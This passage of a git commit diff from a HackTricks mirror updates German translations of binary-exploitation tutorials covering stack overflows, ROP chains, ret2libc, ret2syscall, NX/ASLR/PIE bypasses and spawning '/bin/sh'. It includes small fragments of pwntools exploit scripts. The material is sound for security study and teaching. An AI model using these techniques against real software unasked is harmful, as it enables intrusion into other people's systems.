mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['binary-exploitation/basic-binary-exploitation-methodology/R
This commit is contained in:
Translator
parent
da4267528d
commit
b6e2b0024a
8 changed files with 393 additions and 53 deletions
|
|
@ -706,7 +706,8 @@
|
|||
* [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
* [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md)
|
||||
* [Ret2syscall - ARM64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)
|
||||
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
|
||||
* [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
|
|
|
|||
|
|
@ -10,7 +10,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -38,13 +38,13 @@ Es gibt verschiedene Möglichkeiten, wie Sie den Fluss eines Programms kontrolli
|
|||
|
||||
* [**Stapelüberläufe**](../stack-overflow/), bei denen der Rückgabepointer vom Stapel oder der EBP -> ESP -> EIP überschrieben wird.
|
||||
* Möglicherweise müssen Sie einen [**ganzzahligen Überlauf**](../integer-overflow.md) missbrauchen, um den Überlauf zu verursachen.
|
||||
* Oder über **beliebtes Schreiben + Schreiben von Was Wo zur Ausführung**
|
||||
* Oder über **beliebige Schreibvorgänge + Schreiben von Was Wo zur Ausführung**
|
||||
* [**Formatzeichenfolgen**](../format-strings/)**:** Missbrauchen Sie `printf`, um beliebige Inhalte an beliebigen Adressen zu schreiben.
|
||||
* [**Array-Indizierung**](../array-indexing.md): Missbrauchen Sie eine schlecht gestaltete Indizierung, um einige Arrays zu steuern und ein beliebiges Schreiben zu erhalten.
|
||||
* [**Array-Indizierung**](../array-indexing.md): Missbrauchen Sie eine schlecht gestaltete Indizierung, um einige Arrays zu steuern und einen beliebigen Schreibvorgang zu erhalten.
|
||||
* Möglicherweise müssen Sie einen [**ganzzahligen Überlauf**](../integer-overflow.md) missbrauchen, um den Überlauf zu verursachen.
|
||||
* **bof zu WWW über ROP**: Missbrauchen Sie einen Pufferüberlauf, um eine ROP zu konstruieren und ein WWW zu erhalten.
|
||||
|
||||
Sie finden die Techniken für das **Schreiben von Was Wo zur Ausführung** in:
|
||||
Sie finden die Techniken für **Schreiben von Was Wo zur Ausführung** in:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
|
|
@ -52,12 +52,12 @@ Sie finden die Techniken für das **Schreiben von Was Wo zur Ausführung** in:
|
|||
|
||||
## Ewige Schleifen
|
||||
|
||||
Etwas zu beachten ist, dass normalerweise **nur eine Ausnutzung einer Schwachstelle möglicherweise nicht ausreicht**, um einen erfolgreichen Exploit auszuführen, insbesondere wenn einige Schutzmaßnahmen umgangen werden müssen. Daher ist es interessant, einige Optionen zu diskutieren, um **eine einzelne Schwachstelle mehrmals in derselben Ausführung der Binärdatei ausnutzbar zu machen**:
|
||||
Etwas zu beachten ist, dass in der Regel **nur eine Ausnutzung einer Schwachstelle möglicherweise nicht ausreicht**, um eine erfolgreiche Ausnutzung auszuführen, insbesondere wenn einige Schutzmaßnahmen umgangen werden müssen. Daher ist es interessant, einige Optionen zu diskutieren, um **eine einzelne Schwachstelle mehrmals in derselben Ausführung der Binärdatei ausnutzbar zu machen**:
|
||||
|
||||
* Schreiben Sie in einer **ROP-Kette die Adresse der **`main`-Funktion** oder an die Adresse, an der die **Schwachstelle** auftritt.
|
||||
* Durch Steuern einer ordnungsgemäßen ROP-Kette können Sie alle Aktionen in dieser Kette ausführen.
|
||||
* Schreiben Sie die **`exit`-Adresse in GOT** (oder eine andere Funktion, die von der Binärdatei vor dem Beenden verwendet wird) die Adresse, um **zurück zur Schwachstelle zu gelangen**.
|
||||
* Wie in [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop) erklärt, speichern Sie hier 2 Funktionen, eine um die Schwachstelle erneut aufzurufen und eine andere, um **`__libc_csu_fini`** aufzurufen, die die Funktion aus `.fini_array` erneut aufrufen wird.
|
||||
* Wie in [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop) erläutert, speichern Sie hier 2 Funktionen, eine zum erneuten Aufrufen der Schwachstelle und eine andere zum Aufrufen von **`__libc_csu_fini`**, die die Funktion aus `.fini_array` erneut aufrufen wird.
|
||||
|
||||
## Ausnutzungsziele
|
||||
|
||||
|
|
@ -71,37 +71,37 @@ Etwas zu beachten ist, dass normalerweise **nur eine Ausnutzung einer Schwachste
|
|||
* Eine [**ROP**](./#rop-and-ret2...-techniques) **Kette, wenn genügend Gadgets vorhanden sind**, um alle Parameter vorzubereiten
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) (falls Sie diesen Systemaufruf aufrufen können), um viele Register zu steuern
|
||||
* Gadgets von [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) und [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), um mehrere Register zu steuern
|
||||
* Über ein [**Schreiben von Was Wo**](../arbitrary-write-2-exec/) könnten Sie andere Schwachstellen (nicht bof) missbrauchen, um die **`win`**-Funktion aufzurufen.
|
||||
* [**Pointer-Umleitung**](../stack-overflow/pointer-redirecting.md): Falls der Stapel Zeiger auf eine Funktion enthält, die aufgerufen wird, oder auf einen String, der von einer interessanten Funktion verwendet wird (system oder printf), ist es möglich, diese Adresse zu überschreiben.
|
||||
* Über ein [**Schreiben von Was Wo**](../arbitrary-write-2-exec/) könnten Sie andere Schwachstellen (kein bof) missbrauchen, um die **`win`**-Funktion aufzurufen.
|
||||
* [**Pointer-Umleitung**](../stack-overflow/pointer-redirecting.md): Falls der Stapel Zeiger auf eine Funktion enthält, die aufgerufen wird, oder auf eine Zeichenfolge, die von einer interessanten Funktion verwendet wird (system oder printf), ist es möglich, diese Adresse zu überschreiben.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) oder [**PIE**](../common-binary-protections-and-bypasses/pie/) könnten die Adressen beeinflussen.
|
||||
* [**Nicht initialisierte Variablen**](../stack-overflow/uninitialized-variables.md): Man weiß nie.
|
||||
|
||||
### Ziel: RCE
|
||||
|
||||
#### Über Shellcode, wenn nx deaktiviert ist oder Shellcode mit ROP gemischt wird:
|
||||
#### Über Shellcode, wenn nx deaktiviert ist oder Shellcode mit ROP gemischt:
|
||||
|
||||
* [**(Stack) Shellcode**](./#stack-shellcode): Dies ist nützlich, um einen Shellcode im Stapel zu speichern, bevor oder nachdem der Rückgabepointer überschrieben wird, und dann **darauf zu springen**, um ihn auszuführen:
|
||||
* **In jedem Fall, wenn es ein** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)** gibt, müssen Sie in einem regulären bof es umgehen (leaken)**
|
||||
* **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **und** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ist es möglich, zur Adresse des Stapels zu springen, da sie sich nie ändern wird
|
||||
* **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) benötigen Sie Techniken wie [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md), um dorthin zu springen
|
||||
* **Mit** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) müssen Sie einige [**ROP**](../rop-return-oriented-programing/) verwenden, um `memprotect` aufzurufen und einige Seiten `rwx` zu machen, um dann den Shellcode dort zu speichern (zum Beispiel read aufrufen) und dann dorthin zu springen.
|
||||
* **Mit** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) müssen Sie einige [**ROP**](../rop-return-oriented-programing/) verwenden, um `memprotect` aufzurufen und eine Seite `rwx` zu machen, um dann den Shellcode dort zu speichern (zum Beispiel read aufrufen) und dann dorthin zu springen.
|
||||
* Dies wird Shellcode mit einer ROP-Kette mischen.
|
||||
#### Über Syscalls
|
||||
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md): Nützlich, um `execve` aufzurufen und beliebige Befehle auszuführen. Sie müssen in der Lage sein, die **Gadgets zu finden, um den spezifischen Syscall mit den Parametern aufzurufen**.
|
||||
* Wenn [**ASLR**](../common-binary-protections-and-bypasses/aslr/) oder [**PIE**](../common-binary-protections-and-bypasses/pie/) aktiviert sind, müssen Sie sie **besiegen, um ROP-Gadgets** aus der Binärdatei oder Bibliotheken zu verwenden.
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Nützlich, um `execve` aufzurufen und beliebige Befehle auszuführen. Sie müssen in der Lage sein, die **Gadgets zu finden, um den spezifischen Syscall mit den Parametern aufzurufen**.
|
||||
* Wenn [**ASLR**](../common-binary-protections-and-bypasses/aslr/) oder [**PIE**](../common-binary-protections-and-bypasses/pie/) aktiviert sind, müssen Sie sie **besiegen, um ROP-Gadgets** aus der Binärdatei oder den Bibliotheken zu verwenden.
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) kann nützlich sein, um das **ret2execve** vorzubereiten.
|
||||
* Gadgets aus [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) und [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), um mehrere Register zu kontrollieren
|
||||
* Gadgets aus [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) und [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), um mehrere Register zu kontrollieren.
|
||||
|
||||
#### Über libc
|
||||
|
||||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Nützlich, um eine Funktion aus einer Bibliothek (normalerweise aus **`libc`**) wie **`system`** mit einigen vorbereiteten Argumenten (z. B. `'/bin/sh'`) aufzurufen. Sie benötigen die Binärdatei, um die Bibliothek mit der Funktion, die Sie aufrufen möchten (normalerweise libc), **zu laden**.
|
||||
* Wenn **statisch kompiliert und kein** [**PIE**](../common-binary-protections-and-bypasses/pie/), ändert sich die **Adresse** von `system` und `/bin/sh` nicht, sodass sie statisch verwendet werden können.
|
||||
* **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **und Kenntnis der geladenen libc-Version**, ändert sich die **Adresse** von `system` und `/bin/sh` nicht, sodass sie statisch verwendet werden können.
|
||||
* Mit [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **aber ohne** [**PIE**](../common-binary-protections-and-bypasses/pie/), Kenntnis der libc und wenn die Binärdatei die Funktion `system` verwendet, ist es möglich, zum Adressbereich von system im GOT zu **`ret` mit der Adresse von `'/bin/sh'` im Parameter** zu springen (dies müssen Sie herausfinden).
|
||||
* **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **und Kenntnis der geladenen libc-Version** ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass sie statisch verwendet werden können.
|
||||
* Mit [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **aber ohne** [**PIE**](../common-binary-protections-and-bypasses/pie/), Kenntnis der libc und wenn die Binärdatei die `system`-Funktion verwendet, ist es möglich, zum Adressbereich von `system` im GOT mit der Adresse von `'/bin/sh'` in den Parametern zu **`ret`en** (dies müssen Sie herausfinden).
|
||||
* Mit [ASLR](../common-binary-protections-and-bypasses/aslr/) aber ohne [PIE](../common-binary-protections-and-bypasses/pie/), Kenntnis der libc und **ohne die Binärdatei, die `system` verwendet**:
|
||||
* Verwenden Sie [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md), um die Adresse von `system` aufzulösen und sie aufzurufen 
|
||||
* **Umgehen** Sie [**ASLR**](../common-binary-protections-and-bypasses/aslr/) und berechnen Sie die Adresse von `system` und `'/bin/sh'` im Speicher.
|
||||
* **Umgehen** Sie [**ASLR**](../common-binary-protections-and-bypasses/aslr/) und berechnen Sie die Adressen von `system` und `'/bin/sh'` im Speicher.
|
||||
* **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **und** [**PIE**](../common-binary-protections-and-bypasses/pie/) **und ohne Kenntnis der libc**: Sie müssen:
|
||||
* [**PIE**](../common-binary-protections-and-bypasses/pie/) umgehen
|
||||
* Die verwendete **`libc`-Version** finden (ein paar Funktionsadressen leaken)
|
||||
|
|
@ -109,11 +109,11 @@ Etwas zu beachten ist, dass normalerweise **nur eine Ausnutzung einer Schwachste
|
|||
|
||||
#### Über EBP/RBP
|
||||
|
||||
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Kontrollieren Sie den ESP, um RET über den gespeicherten EBP im Stack zu steuern.
|
||||
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Kontrollieren Sie den ESP, um RET über den gespeicherten EBP im Stack zu kontrollieren.
|
||||
* Nützlich für **off-by-one** Stack-Überläufe
|
||||
* Nützlich als alternative Möglichkeit, EIP zu kontrollieren, während EIP missbraucht wird, um die Nutzlast im Speicher zu konstruieren und dann über EBP darauf zu springen
|
||||
* Nützlich als alternative Möglichkeit, EIP zu kontrollieren, während EIP missbraucht wird, um die Nutzlast im Speicher zu konstruieren und dann über EBP darauf zu springen.
|
||||
|
||||
#### Sonstiges
|
||||
#### Verschiedenes
|
||||
|
||||
* [**Pointer-Umleitung**](../stack-overflow/pointer-redirecting.md): Falls der Stack Zeiger auf eine Funktion enthält, die aufgerufen wird, oder auf einen String, der von einer interessanten Funktion verwendet wird (system oder printf), ist es möglich, diese Adresse zu überschreiben.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) oder [**PIE**](../common-binary-protections-and-bypasses/pie/) könnten die Adressen beeinflussen.
|
||||
|
|
@ -126,9 +126,9 @@ Etwas zu beachten ist, dass normalerweise **nur eine Ausnutzung einer Schwachste
|
|||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -16,13 +16,13 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Das **No-Execute (NX)**-Bit, auch bekannt als **Execute Disable (XD)** in der Intel-Terminologie, ist ein hardwarebasiertes Sicherheitsmerkmal, das entwickelt wurde, um die Auswirkungen von **Pufferüberlauf**-Angriffen zu **mindern**. Wenn implementiert und aktiviert, unterscheidet es zwischen Speicherbereichen, die für **ausführbaren Code** vorgesehen sind, und solchen, die für **Daten** wie den **Stack** und den **Heap** gedacht sind. Die Kernidee besteht darin, zu verhindern, dass ein Angreifer bösartigen Code durch Pufferüberlauf-Schwachstellen ausführt, indem er den bösartigen Code beispielsweise im Stack platziert und den Ausführungsfluss darauf lenkt.
|
||||
Das **No-Execute (NX)**-Bit, auch bekannt als **Execute Disable (XD)** in der Intel-Terminologie, ist ein hardwarebasiertes Sicherheitsmerkmal, das entwickelt wurde, um die Auswirkungen von **Pufferüberlauf**-Angriffen zu **mindern**. Wenn implementiert und aktiviert, unterscheidet es zwischen Speicherbereichen, die für **ausführbaren Code** vorgesehen sind, und solchen, die für **Daten** wie den **Stack** und den **Heap** vorgesehen sind. Die Kernidee besteht darin, zu verhindern, dass ein Angreifer bösartigen Code durch Pufferüberlauf-Schwachstellen ausführt, indem er den bösartigen Code beispielsweise im Stack platziert und den Ausführungsfluss darauf lenkt.
|
||||
|
||||
## Umgehungen
|
||||
|
||||
* Es ist möglich, Techniken wie [**ROP**](../rop-return-oriented-programing/) **zu umgehen**, indem ausführbare Codefragmente, die bereits in der Binärdatei vorhanden sind, ausgeführt werden.
|
||||
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
* **Ret2...**
|
||||
|
||||
<details>
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -22,7 +22,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
1. **Kontrollfluss-Hijacking**: Zunächst muss ein Angreifer den Kontrollfluss eines Programms übernehmen, typischerweise durch Ausnutzen eines Pufferüberlaufs, um eine gespeicherte Rücksprungadresse im Stapel zu überschreiben.
|
||||
2. **Gadget-Verkettung**: Der Angreifer wählt und verknüpft sorgfältig Gadgets, um die gewünschten Aktionen auszuführen. Dies könnte das Einrichten von Argumenten für einen Funktionsaufruf, den Aufruf der Funktion (z. B. `system("/bin/sh")`) und die Behandlung von erforderlichen Bereinigungen oder zusätzlichen Operationen umfassen.
|
||||
3. **Ausführung der Nutzlast**: Wenn die anfällige Funktion zurückkehrt, beginnt sie anstelle einer legitimen Position mit der Ausführung der Kette von Gadgets.
|
||||
3. **Ausführung der Nutzlast**: Wenn die verwundbare Funktion zurückkehrt, anstatt zu einer legitimen Position zurückzukehren, beginnt sie mit der Ausführung der Kette von Gadgets.
|
||||
|
||||
### Tools
|
||||
|
||||
|
|
@ -39,9 +39,9 @@ Typischerweise können Gadgets mithilfe von [**ROPgadget**](https://github.com/J
|
|||
|
||||
Angenommen, wir haben die erforderlichen Gadgets in der Binärdatei oder in ihren geladenen Bibliotheken identifiziert. Die Gadgets, an denen wir interessiert sind, sind:
|
||||
|
||||
* `pop eax; ret`: Dieses Gadget poppt den obersten Wert des Stapels in das `EAX`-Register und kehrt dann zurück, was es uns ermöglicht, `EAX` zu kontrollieren.
|
||||
* `pop ebx; ret`: Ähnlich wie oben, aber für das `EBX`-Register, was die Kontrolle über `EBX` ermöglicht.
|
||||
* `mov [ebx], eax; ret`: Verschiebt den Wert in `EAX` an die Speicherstelle, auf die `EBX` zeigt, und kehrt dann zurück. Dies wird oft als **write-what-where-Gadget** bezeichnet.
|
||||
* `pop eax; ret`: Dieses Gadget poppt den obersten Wert des Stapels in das Register `EAX` und gibt dann zurück, was es uns ermöglicht, `EAX` zu kontrollieren.
|
||||
* `pop ebx; ret`: Ähnlich wie oben, aber für das Register `EBX`, was die Kontrolle über `EBX` ermöglicht.
|
||||
* `mov [ebx], eax; ret`: Verschiebt den Wert in `EAX` an die Speicherstelle, auf die `EBX` zeigt, und gibt dann zurück. Dies wird oft als **write-what-where-Gadget** bezeichnet.
|
||||
* Zusätzlich haben wir die Adresse der Funktion `system()` verfügbar.
|
||||
|
||||
### **ROP-Kette**
|
||||
|
|
@ -98,7 +98,7 @@ p.interactive()
|
|||
Für unseren Zweck konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das **RDI**-Register zu setzen (um den **"/bin/sh"**-String als Argument an **system()** zu übergeben) und dann die **system()**-Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
|
||||
|
||||
* **pop rdi; ret**: Pusht den obersten Wert des Stacks in **RDI** und gibt dann zurück. Wesentlich für die Festlegung unseres Arguments für **system()**.
|
||||
* **ret**: Ein einfaches Return, nützlich für die Stack-Ausrichtung in einigen Szenarien.
|
||||
* **ret**: Ein einfaches Return, nützlich für die Stackausrichtung in einigen Szenarien.
|
||||
|
||||
Und wir kennen die Adresse der **system()**-Funktion.
|
||||
|
||||
|
|
@ -139,14 +139,14 @@ payload = fit({offset: rop_chain})
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
### Stack Alignment
|
||||
### Stapelausrichtung
|
||||
|
||||
**Die x86-64 ABI** stellt sicher, dass der **Stack 16-Byte ausgerichtet** ist, wenn eine **call-Anweisung** ausgeführt wird. **LIBC** verwendet zur Leistungssteigerung **SSE-Anweisungen** (wie **movaps**), die diese Ausrichtung erfordern. Wenn der Stack nicht ordnungsgemäß ausgerichtet ist (was bedeutet, dass **RSP** kein Vielfaches von 16 ist), schlagen Aufrufe von Funktionen wie **system** in einer **ROP-Kette** fehl. Um dies zu beheben, fügen Sie einfach ein **ret-Gadget** vor dem Aufruf von **system** in Ihrer ROP-Kette hinzu.
|
||||
**Die x86-64 ABI** stellt sicher, dass der **Stack auf 16 Byte ausgerichtet ist**, wenn eine **call-Anweisung** ausgeführt wird. **LIBC** verwendet zur Leistungssteigerung **SSE-Anweisungen** (wie **movaps**), die diese Ausrichtung erfordern. Wenn der Stack nicht ordnungsgemäß ausgerichtet ist (was bedeutet, dass **RSP** kein Vielfaches von 16 ist), schlagen Aufrufe von Funktionen wie **system** in einer **ROP-Kette** fehl. Um dies zu beheben, fügen Sie einfach ein **ret-Gadget** vor dem Aufruf von **system** in Ihrer ROP-Kette hinzu.
|
||||
|
||||
## Hauptunterschied zwischen x86 und x64
|
||||
|
||||
{% hint style="success" %}
|
||||
Da **x64 Register für die ersten Argumente verwendet,** erfordert es oft weniger Gadgets als x86 für einfache Funktionsaufrufe, aber das Finden und Verketten der richtigen Gadgets kann aufgrund der erhöhten Anzahl von Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl von Registern und der größere Adressraum in der **x64**-Architektur bieten sowohl Möglichkeiten als auch Herausforderungen für die Exploit-Entwicklung, insbesondere im Kontext des Return-Oriented Programming (ROP).
|
||||
Da **x64 Register für die ersten Argumente verwendet**, erfordert es oft weniger Gadgets als x86 für einfache Funktionsaufrufe, aber das Finden und Verketten der richtigen Gadgets kann aufgrund der erhöhten Anzahl von Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl von Registern und der größere Adressraum in der **x64**-Architektur bieten sowohl Möglichkeiten als auch Herausforderungen für die Exploit-Entwicklung, insbesondere im Kontext des Return-Oriented Programming (ROP).
|
||||
{% endhint %}
|
||||
|
||||
## ROP-Kette im ARM64-Beispiel
|
||||
|
|
@ -177,8 +177,8 @@ Beachten Sie, dass ROP nur eine Technik ist, um beliebigen Code auszuführen. Ba
|
|||
|
||||
* **Ret2Syscall**: Verwenden Sie ROP, um einen Aufruf an ein Systemaufruf vorzubereiten, z.B. `execve`, und führen Sie damit beliebige Befehle aus.
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% content-ref url="rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **EBP2Ret & EBP-Chaining**: Ersteres wird EBP anstelle von EIP missbrauchen, um den Fluss zu steuern, und das zweite ist ähnlich wie Ret2lib, aber in diesem Fall wird der Fluss hauptsächlich mit EBP-Adressen gesteuert (obwohl es auch erforderlich ist, EIP zu steuern).
|
||||
|
|
@ -191,6 +191,6 @@ Beachten Sie, dass ROP nur eine Technik ist, um beliebigen Code auszuführen. Ba
|
|||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
||||
* 64 Bit, Pie und nx aktiviert, kein Canary, überschreiben von RIP mit einer `vsyscall`-Adresse mit dem alleinigen Zweck, zur nächsten Adresse im Stack zurückzukehren, die eine teilweise Überschreibung der Adresse ist, um den Teil der Funktion zu erhalten, der die Flagge preisgibt.
|
||||
* 64-Bit, Pie und nx aktiviert, kein Canary, überschreiben von RIP mit einer `vsyscall`-Adresse mit dem alleinigen Zweck, zur nächsten Adresse im Stack zurückzukehren, die eine teilweise Überschreibung der Adresse enthält, um den Teil der Funktion zu erhalten, der die Flagge preisgibt
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* Arm64, kein ASLR, ROP-Gadget, um den Stack ausführbar zu machen und zu Shellcode im Stack zu springen
|
||||
|
|
|
|||
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
- Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
- Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
- Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
